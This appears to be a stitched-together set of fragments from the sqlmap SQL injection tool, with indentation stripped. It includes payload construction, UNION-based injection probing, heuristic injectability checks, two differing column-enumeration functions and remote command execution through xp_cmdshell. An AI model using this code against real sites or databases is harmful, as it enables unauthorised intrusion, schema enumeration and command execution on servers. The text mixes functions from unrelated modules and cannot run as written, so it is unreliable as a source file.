result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
else:
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
if result:
columns[column] = "numeric"
else:
columns[column] = "non-numeric"
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in list(columns.items())):
if _ not in kb.brute.columns:
kb.brute.columns.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)
return kb.data.cachedColumns
def payload(self,
place=None,
parameter=None,
value=None,
newValue=None,
where=None):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
if conf.direct:
return self.payloadDirect(newValue)
retVal = ""
if where is None and isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
if kb.injection.place is not None:
place = kb.injection.place
if kb.injection.parameter is not None:
parameter = kb.injection.parameter
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = paramDict[parameter]
if place == PLACE.URI:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':'):
if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:]
elif place == PLACE.CUSTOM_POST:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
origValue = origValue.split('>')[-1]
elif kb.postHint == POST_HINT.JSON:
origValue = extractRegexResult(
r"(?s)\"\s*:\s*(?P<result>\d+\Z)",
origValue) or extractRegexResult(
r'(?s)(?P<result>[^"]+\Z)', origValue)
elif kb.postHint == POST_HINT.JSON_LIKE:
origValue = extractRegexResult(
r'(?s)\'\s*:\s*(?P<result>\d+\Z)',
origValue) or extractRegexResult(
r"(?s)(?P<result>[^']+\Z)", origValue)
else:
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)",
origValue) or ""
origValue = _.split('=', 1)[1] if '=' in _ else ""
elif place == PLACE.CUSTOM_HEADER:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = origValue[origValue.index(',') + 1:]
match = re.search(r"([^;]+)=(?P<value>[^;]+);?\Z", origValue)
if match:
origValue = match.group("value")
if conf.prefix:
value = origValue
if value is None:
if where == PAYLOAD.WHERE.ORIGINAL:
value = origValue
elif where == PAYLOAD.WHERE.NEGATIVE:
if conf.invalidLogical:
match = re.search(r'\A[^ ]+', newValue)
newValue = newValue[len(match.group() if match else ""):]
_ = randomInt(2)
value = "%s%s AND %s=%s" % (origValue, match.group()
if match else "", _, _ + 1)
elif conf.invalidBignum:
value = randomInt(6)
elif conf.invalidString:
value = randomStr(6)
else:
if newValue.startswith("-"):
value = ""
else:
value = "-%s" % randomInt()
elif where == PAYLOAD.WHERE.REPLACE:
value = ""
else:
value = origValue
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue)
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
if kb.postHint == POST_HINT.JSON and not isNumber(
newValue) and not '"%s"' % _ in paramString:
newValue = '"%s"' % newValue
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(
newValue) and not "'%s'" % _ in paramString:
newValue = "'%s'" % newValue
newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR,
REPLACEMENT_MARKER)
retVal = paramString.replace(_,
self.addPayloadDelimiters(newValue))
retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR,
"").replace(REPLACEMENT_MARKER,
CUSTOM_INJECTION_MARK_CHAR)
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue,
self.addPayloadDelimiters(newValue))
else:
retVal = re.sub(
r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)),
"%s=%s" %
(parameter,
self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))),
paramString)
if retVal == paramString and urlencode(parameter) != parameter:
retVal = re.sub(
r"(\A|\b)%s=%s" %
(re.escape(urlencode(parameter)), re.escape(origValue)),
"%s=%s" % (urlencode(parameter),
self.addPayloadDelimiters(
newValue.replace("\\", "\\\\"))),
paramString)
return retVal
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
validPayload = None
vector = None
positions = range(0, count)
# Unbiased approach for searching appropriate usable column
random.shuffle(positions)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable union SQL injection vulnerability
for position in positions:
# Prepare expression with delimiters
randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop)
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
# Forge the union SQL injection request
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
if content and phrase in content:
validPayload = payload
kb.unionDuplicates = content.count(phrase) > 1
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates)
if where == PAYLOAD.WHERE.ORIGINAL:
# Prepare expression with delimiters
randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
# Confirm that it is a full union SQL injection
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
if not all(_ in content for _ in (phrase, phrase2)):
vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)
elif not kb.unionDuplicates:
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
# Check for limited row output
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
warnMsg = "output with limited number of rows detected. Switching to partial mode"
logger.warn(warnMsg)
vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)
unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()
if unionErrorCase and count > 1:
warnMsg = "combined UNION/error-based SQL injection case found on "
warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
warnMsg += "column with better characteristics"
logger.warn(warnMsg)
else:
break
return validPayload, vector
def heuristicCheckSqlInjection(place, parameter):
if kb.nullConnection:
debugMsg = "heuristic checking skipped "
debugMsg += "because NULL connection used"
logger.debug(debugMsg)
return None
if wasLastRequestDBMSError():
debugMsg = "heuristic checking skipped "
debugMsg += "because original page content "
debugMsg += "contains DBMS error"
logger.debug(debugMsg)
return None
origValue = conf.paramDict[place][parameter]
prefix = ""
suffix = ""
if conf.prefix or conf.suffix:
if conf.prefix:
prefix = conf.prefix
if conf.suffix:
suffix = conf.suffix
randStr = ""
while '\'' not in randStr:
randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)
payload = "%s%s%s" % (prefix, randStr, suffix)
payload = agent.payload(place, parameter, newValue=payload)
page, _ = Request.queryPage(payload, place, content=True, raise404=False)
parseFilePaths(page)
result = wasLastRequestDBMSError()
infoMsg = "heuristic test shows that %s " % place
infoMsg += "parameter '%s' might " % parameter
def _(page):
return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS)
casting = _(page) and not _(kb.originalPage)
if not casting and not result and kb.dynamicParameter and origValue.isdigit(
):
randInt = int(randomInt())
payload = "%s%s%s" % (prefix, "%d-%d" %
(int(origValue) + randInt, randInt), suffix)
payload = agent.payload(place,
parameter,
newValue=payload,
where=PAYLOAD.WHERE.REPLACE)
result = Request.queryPage(payload, place, raise404=False)
if not result:
randStr = randomStr()
payload = "%s%s%s" % (prefix, "%s%s" %
(origValue, randStr), suffix)
payload = agent.payload(place,
parameter,
newValue=payload,
where=PAYLOAD.WHERE.REPLACE)
casting = Request.queryPage(payload, place, raise404=False)
kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE
if casting:
errMsg = "possible %s casting " % ("integer"
if origValue.isdigit() else "type")
errMsg += "detected (e.g. %s=(int)$_REQUEST('%s')) " % (parameter,
parameter)
errMsg += "at the back-end web application"
logger.error(errMsg)
if kb.ignoreCasted is None:
message = "do you want to skip those kind of cases (and save scanning time)? %s " % (
"[Y/n]" if conf.multipleTargets else "[y/N]")
kb.ignoreCasted = readInput(
message,
default='Y' if conf.multipleTargets else 'N').upper() != 'N'
elif result:
infoMsg += "be injectable (possible DBMS: %s)" % (
Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
logger.info(infoMsg)
else:
infoMsg += "not be injectable"
logger.warn(infoMsg)
return kb.heuristicTest
def getColumns(self, onlyColNames=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
colList = conf.col.split(",")
else:
colList = []
if conf.excludeCol:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
if conf.tbl:
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
else:
errMsg = "unable to retrieve the tables "
errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise SqlmapNoneDataException(errMsg)
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
blinds = [False, True]
else:
blinds = [True]
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
if colList:
table = {}
table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList)
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
continue
infoMsg = "fetching columns "
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
for blind in blinds:
randStr = randomStr()
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.usertype' % randStr], blind=blind)
if retVal:
table = {}
columns = {}
for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])):
columns[name] = SYBASE_TYPES.get(type_, type_)
table[safeSQLIdentificatorNaming(tbl)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
break
return kb.data.cachedColumns
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
output = None
if conf.direct:
output = self.xpCmdshellExecCmd(cmd)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
if line == "NULL":
new_output += "\n"
else:
new_output += "%s\n" % line.strip("\r")
output = new_output
else:
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
# When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
if conf.dbmsCred:
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
if (output is None) or len(output)==0 or output[0] is None:
output = []
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
for index in getLimitRange(count):
query = agent.limitQuery(index, query, self.tblField)
output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if output and isListLike(output) and len(output) > 1:
_ = ""
lines = [line for line in flattenValue(output) if line is not None]
for i in xrange(len(lines)):
line = lines[i] or ""
if line is None or i in (0, len(lines) - 1) and not line.strip():
continue
_ += "%s\n" % line
output = _.rstrip('\n')
return output
def _setAuxOptions():
"""
Setup auxiliary (host-dependent) options
"""
kb.aliasName = randomStr(seed=hash(conf.hostname or ""))
def getColumns(self, onlyColNames=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.tbl:
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
else:
errMsg = "unable to retrieve the tables "
errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise SqlmapNoneDataException(errMsg)
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
randStr = randomStr()
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER')
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr], blind=True)
if retVal:
table = {}
columns = {}
for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]):
columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length)
table[tbl] = columns
kb.data.cachedColumns[conf.db] = table
return kb.data.cachedColumns
